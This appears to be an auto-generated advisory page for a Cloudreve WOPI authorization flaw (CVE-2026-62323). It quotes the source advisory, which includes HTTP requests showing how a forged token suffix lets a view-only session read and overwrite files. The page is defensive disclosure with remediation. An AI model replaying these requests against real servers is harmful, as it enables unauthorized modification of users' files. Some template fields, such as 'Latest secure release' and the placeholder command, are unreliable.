CVE-2026-62323: Github.com/cloudreve/Cloudreve/v4 Cloudreve WOPI View Sessions Can Vulnerability

MODERATE
Advisory Identifier: GHSA-c3jm-gv5r-9wcp
CVSS 6.3
CWE-863
Published
Advisory Summary

CVE-2026-62323 is a MODERATE (CVSS 6.3) cloudreve wopi view sessions can vulnerability (CWE-863: Incorrect Authorization) affecting Github.com/cloudreve/Cloudreve/v4 libraries in the Go ecosystem. The issue involves cloudreve wopi view sessions can write files and wopi access token secret is ignored. Remediation is available by upgrading affected packages to version 4.0.0-20260626022433-f3347130ac48.

CVE-2026-62323 at a Glance

CVE Identifier CVE-2026-62323
GHSA Identifier GHSA-c3jm-gv5r-9wcp
Severity MODERATE
CVSS v3.1 Base Score 6.3
CWE Classification CWE-863: Incorrect Authorization
Affected Product Github.com/cloudreve/Cloudreve/v4
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality Low (C:L)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-62323

To remediate this vulnerability, upgrade all affected Github.com/cloudreve/Cloudreve/v4 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/cloudreve/Cloudreve/v4 fixed: 4.0.0-20260626022433-f3347130ac48
Upgrade github.com/cloudreve/Cloudreve/v4 to 4.0.0-20260626022433-f3347130ac48
github.com/cloudreve/Cloudreve/v3 fixed: Latest secure release
Upgrade github.com/cloudreve/Cloudreve/v3 to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/cloudreve/Cloudreve/v4

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-62323, inspect your project dependencies for Github.com/cloudreve/Cloudreve/v4:

inspect dependencies for github.com/cloudreve/Cloudreve/v4

Analyze the terminal output to locate any version of Github.com/cloudreve/Cloudreve/v4 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.0-20260626022433-f3347130ac48), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Github.com/cloudreve/Cloudreve/v4, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Cloudreve WOPI access tokens are generated as `<session-id>.<random-secret>`, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user. ## Impact A WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id. This affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve. ## Affected version Verified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`. ## Technical details Cloudreve creates WOPI viewer sessions in `pkg/filemanager/manager/viewer.go`: ```go sessionID := uuid.Must(uuid.NewV4()).String() token := util.RandStringRunesCrypto(128) sessionCache := &ViewerSessionCache{ ID: sessionID, Uri: file.Uri(false).String(), UserID: m.user.ID, ViewerID: viewer.ID, FileID: file.ID(), Version: version, Token: fmt.Sprintf("%s.%s", sessionID, token), } ``` The token includes a 128-character random suffix, but `middleware.ViewerSessionValidation()` only uses the prefix before the dot: ```go accessToken := strings.Split(c.Query(wopi.AccessTokenQuery), ".") if len(accessToken) != 2 { ... } sessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0]) ``` The middleware checks that the file id matches the loaded session, but it never compares `c.Query("access_token")` with `session.Token`. As a result, `<valid-session-id>.anything` is accepted. The WOPI routes are exposed without normal session authentication and rely on this middleware: ```go wopi := noAuth.Group("file/wopi", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation()) wopi.GET(":id", controllers.CheckFileInfo) wopi.GET(":id/contents", controllers.GetFile) wopi.POST(":id/contents", controllers.PutFile) wopi.POST(":id", controllers.ModifyFile) ``` The write routes are not protected by a session-level write check. `CreateViewerSessionService` accepts `preferred_action`, but `ViewerSessionCache` has no action or write-permission field and `CreateViewerSession` does not persist the chosen action. The requested action is only used to generate the WOPI source URL: ```go wopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession) ``` `WopiService.PutContent()` checks only the underlying filesystem upload capability: ```go file, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot()) ``` It does not check whether the WOPI session was created for an edit action. ## Reproduction The following sequence was verified against a disposable local Cloudreve instance built from the affected commit. 1. Configure a WOPI viewer in Cloudreve. 2. Create a user-owned file, for example `cloudreve://my/wopi.txt`, containing `original content`. 3. Create a viewer session with `preferred_action` set to `view`: ```http PUT /api/v4/file/viewerSession HTTP/1.1 Authorization: Bearer <user-token> Content-Type: application/json { "uri": "cloudreve://my/wopi.txt", "version": "", "viewer_id": "poc-wopi", "preferred_action": "view" } ``` Observed response: ```json { "session": { "id": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1", "access_token": "a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>" } } ``` 4. Replace the token suffix with any value: ```http GET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 ``` Observed response: `200 OK`. The same request with an unknown session id returned `403 Forbidden`, confirming the middleware validates the session id prefix but ignores the secret suffix. 5. Use the forged token from the view-created session to read content: ```http GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 ``` Observed response: ```http HTTP/1.1 200 OK Content-Length: 16 Etag: "1bIo" original content ``` 6. Use the same forged token from the view-created session to write content: ```http POST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 X-WOPI-Lock: cloudreve-poc Content-Type: application/octet-stream runtime modified via view session forged suffix ``` Observed response: ```http HTTP/1.1 200 OK X-Wopi-Itemversion: nBc0 ``` 7. Read back the modified file with the forged token: ```http GET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1 ``` Observed response: ```http HTTP/1.1 200 OK Content-Length: 47 Etag: "nBc0" runtime modified via view session forged suffix ``` This proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink. ## Root cause Two authorization values are generated or accepted but not enforced: 1. The random WOPI token suffix is generated and stored but never compared during WOPI request validation. 2. The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes. ## Remediation - Compare the full supplied `access_token` to the stored `ViewerSessionCache.Token` using constant-time comparison. - Reject malformed tokens and tokens with extra separators. - Store a `CanWrite` flag or selected WOPI action in `ViewerSessionCache`. - Enforce that flag on `POST /contents`, `PUT_RELATIVE`, `LOCK`, and other write operations. - Include session-level write permission when returning WOPI `FileInfo` fields such as `ReadOnly` and `UserCanWrite`.

CVE-2026-62323 Affected Github.com/cloudreve/Cloudreve/v4 Versions

2 component(s)
Fixed Versions:
4.0.0-20260626022433-f3347130ac48
Product / Package Ecosystem Affected Versions Fixed Version
github.com/cloudreve/Cloudreve/v4
Go
< 4.0.0-20260626022433-f3347130ac48
4.0.0-20260626022433-f3347130ac48
github.com/cloudreve/Cloudreve/v3
Go
≤ 3.0.0-20250225100611-da4e44b77af4

References

Frequently Asked Questions

What is CVE-2026-62323?
CVE-2026-62323 is a security vulnerability in Github.com/cloudreve/Cloudreve/v4 involving Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored under CWE-863: Incorrect Authorization.
Which Github.com/cloudreve/Cloudreve/v4 versions are affected?
Affected versions include releases prior to 4.0.0-20260626022433-f3347130ac48 across affected packages: github.com/cloudreve/Cloudreve/v4, github.com/cloudreve/Cloudreve/v3.
What version fixes CVE-2026-62323?
Upgrading to 4.0.0-20260626022433-f3347130ac48 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/cloudreve/Cloudreve/v4 affected?
Yes, github.com/cloudreve/Cloudreve/v4 is affected in releases prior to 4.0.0-20260626022433-f3347130ac48. Upgrade your dependency to 4.0.0-20260626022433-f3347130ac48 or later.
Is github.com/cloudreve/Cloudreve/v3 affected?
Yes, github.com/cloudreve/Cloudreve/v3 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-62323?
CVE-2026-62323 has a CVSS v3.1 base score of 6.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N.
What CWE is associated with CVE-2026-62323?
CVE-2026-62323 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-62323?
Run the dependency tree command: 'inspect dependencies for github.com/cloudreve/Cloudreve/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c3jm-gv5r-9wcp",
  "modified" : "2026-07-24T21:18:41Z",
  "published" : "2026-07-24T21:18:41Z",
  "aliases" : [ "CVE-2026-62323" ],
  "summary" : "Cloudreve WOPI view sessions can write files and WOPI access token secret is ignored",
  "details" : "## Summary\n\nCloudreve WOPI access tokens are generated as `<session-id>.<random-secret>`, but the WOPI middleware validates only the session id prefix and never compares the supplied token to the stored token. In addition, a WOPI viewer session does not store or enforce the requested viewer action. A session created for a view or preview action can still call WOPI write routes if the underlying file is writable by the session user.\n\n## Impact\n\nA WOPI integration that is only expected to view a user's file can modify that file through the WOPI write endpoints. If the WOPI URL or session id leaks, the random token suffix does not protect the session because any suffix is accepted for an existing session id.\n\nThis affects deployments that configure WOPI viewers for user files. The attacker primitive is strongest when a malicious or compromised WOPI viewer receives a view-only URL and then writes content back to Cloudreve.\n\n## Affected version\n\nVerified in source and runtime on latest master commit `ba2e870bbd17f1918dd2321de861e453f696d6a3` and latest observed tag `4.16.1`.\n\n## Technical details\n\nCloudreve creates WOPI viewer sessions in `pkg/filemanager/manager/viewer.go`:\n\n```go\nsessionID := uuid.Must(uuid.NewV4()).String()\ntoken := util.RandStringRunesCrypto(128)\nsessionCache := &ViewerSessionCache{\n    ID:       sessionID,\n    Uri:      file.Uri(false).String(),\n    UserID:   m.user.ID,\n    ViewerID: viewer.ID,\n    FileID:   file.ID(),\n    Version:  version,\n    Token:    fmt.Sprintf(\"%s.%s\", sessionID, token),\n}\n```\n\nThe token includes a 128-character random suffix, but `middleware.ViewerSessionValidation()` only uses the prefix before the dot:\n\n```go\naccessToken := strings.Split(c.Query(wopi.AccessTokenQuery), \".\")\nif len(accessToken) != 2 {\n    ...\n}\n\nsessionRaw, exist := store.Get(manager.ViewerSessionCachePrefix + accessToken[0])\n```\n\nThe middleware checks that the file id matches the loaded session, but it never compares `c.Query(\"access_token\")` with `session.Token`. As a result, `<valid-session-id>.anything` is accepted.\n\nThe WOPI routes are exposed without normal session authentication and rely on this middleware:\n\n```go\nwopi := noAuth.Group(\"file/wopi\", middleware.HashID(hashid.FileID), middleware.ViewerSessionValidation())\nwopi.GET(\":id\", controllers.CheckFileInfo)\nwopi.GET(\":id/contents\", controllers.GetFile)\nwopi.POST(\":id/contents\", controllers.PutFile)\nwopi.POST(\":id\", controllers.ModifyFile)\n```\n\nThe write routes are not protected by a session-level write check. `CreateViewerSessionService` accepts `preferred_action`, but `ViewerSessionCache` has no action or write-permission field and `CreateViewerSession` does not persist the chosen action. The requested action is only used to generate the WOPI source URL:\n\n```go\nwopiSrc, err := wopi.GenerateWopiSrc(c, s.PreferredAction, targetViewer, viewerSession)\n```\n\n`WopiService.PutContent()` checks only the underlying filesystem upload capability:\n\n```go\nfile, err := m.Get(c, uri, dbfs.WithRequiredCapabilities(dbfs.NavigatorCapabilityUploadFile), dbfs.WithNotRoot())\n```\n\nIt does not check whether the WOPI session was created for an edit action.\n\n## Reproduction\n\nThe following sequence was verified against a disposable local Cloudreve instance built from the affected commit.\n\n1. Configure a WOPI viewer in Cloudreve.\n2. Create a user-owned file, for example `cloudreve://my/wopi.txt`, containing `original content`.\n3. Create a viewer session with `preferred_action` set to `view`:\n\n```http\nPUT /api/v4/file/viewerSession HTTP/1.1\nAuthorization: Bearer <user-token>\nContent-Type: application/json\n\n{\n  \"uri\": \"cloudreve://my/wopi.txt\",\n  \"version\": \"\",\n  \"viewer_id\": \"poc-wopi\",\n  \"preferred_action\": \"view\"\n}\n```\n\nObserved response:\n\n```json\n{\n  \"session\": {\n    \"id\": \"a2d03f1b-e310-4b2a-9baf-38556fa2d5d1\",\n    \"access_token\": \"a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.<128-char-random-secret>\"\n  }\n}\n```\n\n4. Replace the token suffix with any value:\n\n```http\nGET /api/v4/file/wopi/4xc5?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1\n```\n\nObserved response: `200 OK`. The same request with an unknown session id returned `403 Forbidden`, confirming the middleware validates the session id prefix but ignores the secret suffix.\n\n5. Use the forged token from the view-created session to read content:\n\n```http\nGET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\nContent-Length: 16\nEtag: \"1bIo\"\n\noriginal content\n```\n\n6. Use the same forged token from the view-created session to write content:\n\n```http\nPOST /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1\nX-WOPI-Lock: cloudreve-poc\nContent-Type: application/octet-stream\n\nruntime modified via view session forged suffix\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\nX-Wopi-Itemversion: nBc0\n```\n\n7. Read back the modified file with the forged token:\n\n```http\nGET /api/v4/file/wopi/4xc5/contents?access_token=a2d03f1b-e310-4b2a-9baf-38556fa2d5d1.forged_suffix_accepted HTTP/1.1\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\nContent-Length: 47\nEtag: \"nBc0\"\n\nruntime modified via view session forged suffix\n```\n\nThis proves both authorization failures: the random token suffix is ignored, and a view-created WOPI session can reach the content write sink.\n\n## Root cause\n\nTwo authorization values are generated or accepted but not enforced:\n\n1. The random WOPI token suffix is generated and stored but never compared during WOPI request validation.\n2. The requested WOPI action is accepted during session creation but not persisted or enforced on WOPI write routes.\n\n## Remediation\n\n- Compare the full supplied `access_token` to the stored `ViewerSessionCache.Token` using constant-time comparison.\n- Reject malformed tokens and tokens with extra separators.\n- Store a `CanWrite` flag or selected WOPI action in `ViewerSessionCache`.\n- Enforce that flag on `POST /contents`, `PUT_RELATIVE`, `LOCK`, and other write operations.\n- Include session-level write permission when returning WOPI `FileInfo` fields such as `ReadOnly` and `UserCanWrite`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.0-20260626022433-f3347130ac48"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/cloudreve/Cloudreve/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "3.0.0-20250225100611-da4e44b77af4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-c3jm-gv5r-9wcp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cloudreve/cloudreve/commit/f3347130ac48f2ff996af9ef66c97be2dda9cba9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cloudreve/cloudreve"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-24T21:18:41Z",
    "nvd_published_at" : null
  }
}